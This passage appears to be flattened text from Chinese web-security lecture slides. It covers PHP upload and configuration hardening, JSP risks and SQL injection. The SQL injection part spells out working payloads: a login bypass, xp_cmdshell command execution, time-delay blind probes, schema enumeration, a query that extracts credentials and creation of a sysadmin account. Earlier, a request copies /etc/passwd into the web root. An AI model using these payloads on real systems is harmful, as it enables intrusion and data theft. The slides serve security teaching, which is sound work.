</html>五、文件上传(3)这样的上传代码存在读取任意文件和执行命令的重大问题。下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test下的attack.txt文件里:http://victim/test_6.php?upload=1&file=/etc/passwd&file_name=attack.txt然后可以用如下请求读取口令文件:http://victim/test/attack.txt五、文件上传(4)攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。攻击者还可以上传PHP脚本执行主机的命令。五、文件上传(5)解决方法程序员:PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。使用$HTTP_POST_FILES数组来读取用户上传的文件变量。严格检查上传变量。比如不允许是php脚本文件。管理员:对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:<Directory/usr/local/apache/htdocs/test>php_flagengineoff#如果是php3换成php3_engineoff</Directory>六、安全模式(1)前面我们也已经提到过PHP的safe_mode,默认是关闭的。启用safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。所有操作文件的函数将只能操作与脚本属主相同的文件和目录,所以PHP脚本的属主最好独立设置,不要和其它文件的属主相同。七、信息显示PHP默认显示所有的警告及错误信息:

error_reporting=E_ALL&~E_NOTICE

display_errors=On在平时开发调试时这非常有用,我们可以马上根据警告信息找到程序错误所在。正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于我们自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。七、信息显示修改php.ini中关于Errorhandlingandlogging部分内容:

error_reporting=E_ALL

display_errors=Off

log_errors=On

error_log=/usr/local/apache/logs/php_error.log然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。JSP安全编程JSP(JavaServerPages)是一种基于Java语言的Web服务端编程语言Java语言自身的安全性比较高,使得使用JSP编程出现安全问题几率变小JSP–缓冲区溢出(1)JSP不受缓冲区溢出漏洞影响从输入流读取输入数据的C代码通常如下所示:

charbuffer[1000];

intlen=read(buffer);由于实现无法确定读入的数据长度,上述代码就可能发生缓冲溢出。在Java中,一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java代码如下所示:

Stringbuffer=in.readLine();JSP–缓冲区溢出(2)在上面的例子中,“缓冲区”的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后不能改变,缓冲区溢出也就不可能出现。就算用字符数组替代字符串作为缓冲区,Java也不象C那样容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将产生溢出:char[]bad=newchar[6];bad[7]=50;这段代码总是会产生一个异常:java.lang.ArrayOutOfBoundsException这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是得到ArrayOutOfBoundsException异常。因此Java运行时底层环境就能够保护自身免受任何侵害。JSP–缓冲区溢出(3)Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓冲区溢出,从而使得Java程序员摆脱了这种最危险的编程漏洞。JSP–执行系统命令Java实现了比较完善的API,很多涉及系统的操作都可以通过这些API完成,例如发送邮件就可以使用JavaMail来完成。但是如果程序员非要使用系统程序来完成,就可能会存在一些安全问题,例如

Runtime.getRuntime().exec()函数就可以执行系统命令,如果没有对传递进来的数据进行检查,就可能被攻击者利用来执行系统命令。解决方法:尽量使用JavaAPI来完成相关操作。其他应用程序的安全编程注入式攻击缓冲区溢出函数返回值检查临时文件安全竞争条件客户端攻击技术PhishingSqlinjection攻击技术介绍WebServerDBDBWebappWebClientWebappWebappWebappInputValidationattacksExtendSQLstatementsURLInterpretationattacksGet/list.asp?id=1;delete…..可能的攻击发生在一个对web程序对数据库的查询请求SQLInjection的概念来自于用户的输入web应用程序没有对其进行检查,导致对数据库进行操作的语句直接按照攻击者的意愿执行web程序的编程语言的无关性、多于数据库自身的特性有关大量的可以利用的数据库SQLInjection可能影响的系统几乎所有的关系数据库系统和相应的SQL语言都面临SQL注入的潜在威胁MSSQLServer,Oracle,MySQL,Postgres,DB2,MSAccess,Sybase,Informix,etc各种后台语言/系统进行数据库访问的方式PerlandCGIscriptsthataccessdatabasesASP,JSP,PHPXML,XSLandXSQLJavascriptVB,MFC,andotherODBC-basedtoolsandAPIsDBspecificWeb-basedapplicationsandAPI’sReportsandDBApplications3and4GL-basedlanguages(C,OCI,Pro*C,andCOBOL)SQLInjectionAttack

SQL注入攻击就其本质而言,利用的工具是SQL的语法,针对的是应用程序开设计中的漏洞。“当攻击者能够操作数据,往应用程序中插入一些SQL语句时,SQL注入攻击就发生了”。攻击目标:控制服务器/获取敏感数据2000年2001年2002年2003年2004年2005年简单的登陆验证绕过针对asp+sqlserver的基本注入自动化注入攻击工具的出现更多的后台数据库操作研究Php/JSP注入技术高级注入攻击技术SQLInjectionBasicExampleInternetID=Admin'--Passwd=1234select*frommemberwhereUID=

'Admin'--'AndPasswd='1234'SQLInjectionBasicExample提交http://localhost/show.asp?id=1‘返回攻击http://localhost/show.asp?id=1;execmaster.dbo.xp_cmdshell'dir';--Tftp,cmdshell…..MicrosoftOLEDBProviderforODBCDrivers错误'80040e21'ODBC驱动程序不支持所需的属性。/register/show.asp,行15经典的越过登陆验证程序(phpexample)mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");$sql="SELECT*FROMuserWHEREusername=‘$username'ANDpassword=‘$password‘";$result=mysql_db_query($dbname,$sql);

正常请求

select*fromuserswhereusername=‘validuser’andpassword=‘validpass’

异常请求

select*fromuserswhereusername=‘validuser’#andpassword=‘’#为mysql的注释符号

select*fromuserswhereusername=‘validuser’andpassword=‘xx’or1=1 select*fromuserswhereusername=‘validuser’or1=1andpassword=‘’举例:了解T-SQLDDL和DML、DCL之分常用的SQL语句Select、Create、Drop、Alter、Insert、Delete、Update、Excute...where、having等子句存储过程存储过程StoredProcedure是一组为了完成特定功能的SQL语句集经编译后存储在数据库中用户通过指定存储过程的名字并给出参数如果该存储过程带有参数来执行它sp_addrule、sp_adduser、sp_adduserlogin、sp_password、xp_cmdshell...SQL注入字符集‘

或者

“ 字符串标识--

或者#

单行注释/*…*/

多行注释+ addition,concatenate(orspaceinurl)|| (doublepipe)concatenate% wildcardattributeindicator?Param1=foo&Param2=barURL参数PRINT usefulasnontransactionalcommand@variable

本地变量@@variable

全局变量waitfordelay‘0:0:10’ 时间延迟SQL注入测试过程1)InputValidation2)Info.Gathering6)OSCmdPrompt7)ExpandInfluence4)ExtractingData3)1=1Attacks5)OSInteractionInputValidation(输入有效性检查)测试需要检查的内容Web表格(form)中的字段URL查询中的脚本隐藏字段和cookie中的存储的值检查方法:插入下列特定内容'")#||+>SQL保留字,如查询时间延迟:'waitfordelay'0:0:10'--InfoGathering(信息获取)测试查询理解(解释)方式数据库类型用户权限级别'and1in(select

user)--';if

user='dbo'waitfor

delay'0:0:5'--'unionselectif(user()like'root@%',benchmark(50000,sha1('test')),'false');OS信息额外信息(可通过错误消息)组错误'groupby

columnnames

having1=1--类型不匹配'unionselect1,1,'text',1,1,1--'unionselect1,1,bigint,1,1,1--使用子查询:'and1in

(select'text')--BlindInjection使用不同的条件'andcondition

and'1'='1使用if命令';if

condition

waitfor

delay

'0:0:5'--';union

select

if(condition,benchmark(100000,sha1('test')),'false'),1,1,1,1;可以使用所有类型的查询,并且关闭调试信息反馈各系统的区别(一)MSSQL

T-SQLMySQLAccessOracle

PL/SQLDB2Postgres

PL/pgSQLConcatenateStrings''+''concat("","")""&""''||''""+""''||''NullreplaceIsnull()Ifnull()Iff(Isnull())Ifnull()Ifnull()COALESCE()PositionCHARINDEXLOCATE()InStr()InStr()InStr()TEXTPOS()OSShell调用xp_cmdshellselectintooutfile/dumpfile#date#utf_fileimportfromexporttoCallCastYesNoNoNoYesYes各系统的区别(二)MSSQLMySQLAccessOracleDB2Postgres联合查询YYYYYY子查询YN4.0

Y4.1NYYY批量查询YN*NNNY默认存储过程ManyNNManyNNLinkingDBsYYNYYN1=1测试(一)发现数据库结构'groupby

columnnames

having1=1–'unionselectsum(columnname

)

fromtablename–'and1in(selectmin(name)fromsysobjectswherextype='U'andname>'.')–1=1测试(二)在不同的DBMS枚举表结构MSSQLSELECTnameFROMsyscolumnsWHEREid=(SELECTidFROMsysobjectsWHEREname='tablename')sp_columnstablename(thisstoredprocedurecanbeusedinstead)MySQLshowcolumnsfromtablenameOracleSELECT*FROMall_tab_columns

WHEREtable_name='tablename'DB2SELECT*FROMsyscat.columns

WHEREtabname='tablename'PostgresSELECTattnum,attnamefrompg_class,pg_attribute

WHERErelname='tablename'

ANDpg_class.oid=attrelidANDattnum>0系统表OracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMSAccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMSSQLServersysobjectssyscolumnssystypessysdatabases窃取用户名和密码';begindeclare@varvarchar(8000)

set@var=':'select@var=@var+''+login+'/'+password+'' fromuserswherelogin>@var

select@varasvarintotempend--'and1in(selectvarfromtemp)--';droptabletemp--创建DB账号MSSQLexecsp_addlogin'victor','Pass123'execsp_addsrvrolemember'victor','sysadmin'MySQLINSERTINTO

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论